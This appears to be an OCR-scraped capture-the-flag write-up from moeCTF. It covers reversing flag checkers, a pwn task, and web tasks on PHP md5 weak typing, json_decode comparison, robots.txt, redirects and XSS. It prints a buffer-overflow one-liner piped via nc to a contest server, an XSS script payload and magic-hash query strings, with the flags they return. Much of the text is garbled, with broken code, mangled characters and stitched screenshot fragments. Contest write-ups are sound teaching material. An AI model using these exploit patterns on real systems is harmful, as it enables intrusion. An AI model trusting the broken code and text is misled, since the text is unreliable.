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vzs = 5b;
V24 = 90;
25 = 33;
06 = 125;
printf("Please enter the flag:");
fgets(&Buf, 29, _ iob);
for (i =0; i <= 19; ++i )
Va9[i - 48] ~= v4o[i - 80];
for (i =0; i <= 21 & v49[i - 48] == v49[i - 112]; ++i )

H

if (i==22)
printf("conglution!");

gets(&Buf);

return @;
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buf=1list()
for i in range(29):
buf.append(0)

t=0
#for 1 in range(21)
if (i<=21)&&(buf[i]==1list one[i]):
t+=1
else:
break
for i in range(22):
buf[i]=list one[i]

for i in range(19):
buf[i]~=list one[i+22]

buf old=list()
for 1 in range(len(buf)):
buf_old.append(buf[i])

Mrint(buf
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b>> ss=[109, 111, 101, 99, 116, 102, 123, 105, 83, 95, 118, 69, 114, 121, 95, 69
, 64, 115, 121, 90, 33, 125, 0, @0, 0, 0, 0, 0, O]

[1e9, 111, 101, 99, 116, 102, 123, 105, 83, 95, 118, 69, 114, 121, 95, 69, 64, 1

>>> flag=""
b>> for i in range(len(ss)):
flag+=chr(ss[i])
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B ' C:\Users\Lou wen\Downloads\2048.exe

you win the game!
wait for a minute, I m preparing the flag....
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1] int64 __ fastcall main(__int64 al, char **a2, char **a3)
2K

3| char v4; //

4| int v5; //

5

6/ alarm(@xFu);

7| signal(14, (_ sighandler t)exit);

8 = 2018;

9 printf("he is born in %d year\nwho's he?\n", 2018LL);
0| fflush(stdout);

1| _ isoc99_scanf("%s", &v4);

20 if ( \ == 1926 )

3 system(“cat ./flag");

4/ else

5 puts("you can't get the flag.");

6/ fflush(stdout);

7| return OLL;

8}
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xiaoyuyu@ubuntu:~$ (python -c "print 'a'*76 + '\x86\x07'";cat -) | nc 123.56.218
.81 9999
he is born in 2018 year

who's he?
moectf{thl3 1s a t2ue flag hahaha!}
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Where is the flag:
FI2EBER

<!DOCTYPE html>
4 <html lang="en">

p <head>..</head>

4 <body windowc_onresizez="true">
<h1>IZfERMY, IL7EMRAT</h1>
<!--moectf{f12_is_th3_bAsic_way_t®_get Flag}-->

</body>
</html>
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@ Load % Split | » Run
hiip://120.77. 152. 169:8088
/moectf/post/index. php

Auto-Pwn v
Enable Post Data
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TEnable Referer
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360%2NEEEE 9.1
@ & C|O http://120.77.152.169:8088/moectf/robots/robots txt
SUE v [IFVMGEE e ENRIE ALK [1360SH haol23 [REE—T QFREsE PRECe =

> & moeCTF X ‘ [ 120.77.152.169:8088/moectf/r x | +

User—agent: *
Disallow: 124932758alksdjfkl1j34jlaskdjflka. txt
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B, 3 HXSS:
— ARk, SRAEAEFLAGH B E 4 F ok
B Ja 23 H kR <script>alert(‘flag’)</script>, #ARIF T

RERMAMES AREN, MSWURKXEE—T

Welcome

Username :
Password : \

You Have successfully logged in

Congratulations! Flag is here

IR, flaghe.... Mt RFEEROHEET, ZFEEBEFEENE TR

/font><br><br>Congratulations! Flag is here<br></— sl M LW ol —— </font
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® 120.77.152.169:8088/moectf/weaktype/index.php?s=s878926199a
E @yt DOxamnt Q=9 @ muke O sran DNarsw @125 ©

<?php

show _source(_FILE );
error_reporting(0) ;
include (’ flag. php’ ) ;
$s = §$ GET[ s’ 1;

$a = ’QNKCDZO ;

$mdSa = md5($a);

$md5s = md5($s);

if(§s != $a && $mdba == $md5s) {
echo $flag;

telse{

echo ’try again ;

oectf{Php_1 s the b3st lan}



RE, RFEBRA:
EAER-ANEBHIENRE, BAEERREMBurp, RECHEAWinsharkZ2#81), BRiLBESHT
JA3Winshark, /#7778 B A£IA17, #HATER

No. Time Source Destination Protocol ~ Length Info
13 0.125064 47.95.47.253 192.168.1.5 TLSv1.2 312 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message
14 0.169189 192.168.1.5 47.95.47.253 TCP 54 63853 » 443 [ACK] Seq=644 Ack=3431 Win=16896 Len=0
17 0.730533 192.168.1.5 120.77.152.169 TCP 54 63854 » 8088 [ACK] Seq=1 Ack=1 Win=17408 Len=0
18 0.753007 192.168.1.5 120.77.152.169 HTTP 520 GET http://120.77.152.169:8088/moectf/jump/index.php HTTP/1.1
19 0.787865 120.77.152.169 192.168.1.5 TCP 54 8088 -» 63854 [ACK] Seq=1 Ack=467 Win=30336 Len=0
20 0.789390 120.77.152.169 192.168.1.5 HTTP 319 HTTP/1.1 302 Found
-+ 21 0.797526 192.168.1.5 120.77.152.169 HTTP 519 GET http://120.77.152.169:8088/moectf/jump/flag.php HTTP/1.1
-+ 22 0.831775 120.77.152.169 192.168.1.5 HTTP 476 HTTP/1.1 302 Found (text/html)
23 0.853000 192.168.1.5 120.77.152.169 HTTP 519 GET http://120.77.152.169:8088/moectf/jump/jump.php HTTP/1.1

878727 2. .89.233.100 54 63821 » 443 [RST, ACK] Seq=1 Ack=1 Win=0 Le

; 25 0.879670 192.168.1.5 101.199.97.168 TCP 378 63644 » 80 [PSH, ACK] Seg=1 Ack=1 Win=64 Len=324
File Data: 156 bytes
v Line-based text data: text/html
\n
<!DOCTYPE html>\n
<html lang="en">\n
<head>\n
<meta charset="UTF-8">\n
<title>flag</title>\n
</head>\n
<body>\n
<!--moectf{jump_nEed_t0@_knoe}-->\n
</body>\n
</html>\n

©0ofo 75 74 3d 35 2c 20 6d 61 78 3d 39 39 od @a 43 6f ut=5, ma x=99..Co
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0120 70 65 3a 20 74 65 78 74 2f 68 74 6d 6¢c 3b 20 63 pe: text /html; c
9130 68 61 72 73 65 74 3d 55 54 46 2d 38 od 0a od @a harset=U TF-8....
0140 @a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢c 3e  .<!DOCTY PE html>
0150 @a 3c 68 74 6d 6C 20 6Cc 61 6e 67 3d 22 65 6e 22 .<html 1 ang="en"

0160 3e @a 3c 68 65 61 64 3e ©a 20 20 20 20 3c 6d 65 >.<head> . <me
0170 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d ta chars et="UTF-
0180 38 22 3e @a 20 20 20 20 3c 74 69 74 6C 65 3e 66 8">. <title>f
0190 6¢c 61 67 3c 2f 74 69 74 6C 65 3e @a 3c 2f 68 65 lag</tit le>.</he
01a0 64 3e ad>.<bod o

01bo mp_nEed

01co | i</ bo
olde dy>.</ht ml>.
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<IDOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<titled>May wind with you</title>
{/head>
<body>
{I—
<\?php
error_reporting(0);
include once("flag. php”) ;
if(isset (§_GET[ gugugu’])) [
Spattern="/"(?=[1-9]) (?=. [A-Z]). {10, 12} $/" ;
Seugugu=§_GET[’ gugugu’];
if (preg match(S$pattern, S$gugugu)===0) [
echo "IEMEE T ;

/
else{
Ssecret="sdxstkx"
Sgugugu=json_decode ($gugugu) ;
if ($gugugu==§secret) {
echo "tqdl, #/fif#Ei#flag<br>”. $flag;
}
else(
echo “fFigsecret @114 72 Z I /LKUE (hint : MADBIKTEHE”
/
/
/
else echo "JETUFLFIE?”;
-
<{/body>
</html>
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® view-source:http://13.57.246.101/moe/index.php?gugugu=6E00000000
@xFin Oxane ©=ox Qe O srmw Dlsrmn ©15E © wrs

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>May wind with you</title>
{/head>
<body>
<1—
<\?php
error reporting(0);
include once("flag. php”);
if(isset ($_GET[ gugugu’])) {
Spattern="/"(?=[1-9]) (?=. [A-7]). {10, 12} $/" ;
Sgugugu=§ GET[’ gugugu’];
if (preg match($pattern, $gugugu)===0) {
echo "IETYEE THE";
else{
Ssecret="skxsxtx";
S$gugugu=json decode ($gugugu) ;
if ($gugugu==$secret) {
echo “tqdl, Z3/fifEi#E1ag<br>”. $flag;

1
J

else{

echo “fFigsecret&ff4 7 ZI /LKW (hint : P EIAXTEHE”

]

else echo "SETFWKLFHE?”;
—

<{/body>

</html>

tqdl, Z&IMfHiEflag<bromoectf{May wind with_ yOu}
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Cirno:

elcome to the game.
ou can only use '+-*/' to link four numbers, let the result equal 9, and get th
flag after 99 rounds.

or example: you receive 'l 1 3 6', and you should send '1l-1+3+6' to pass the ro
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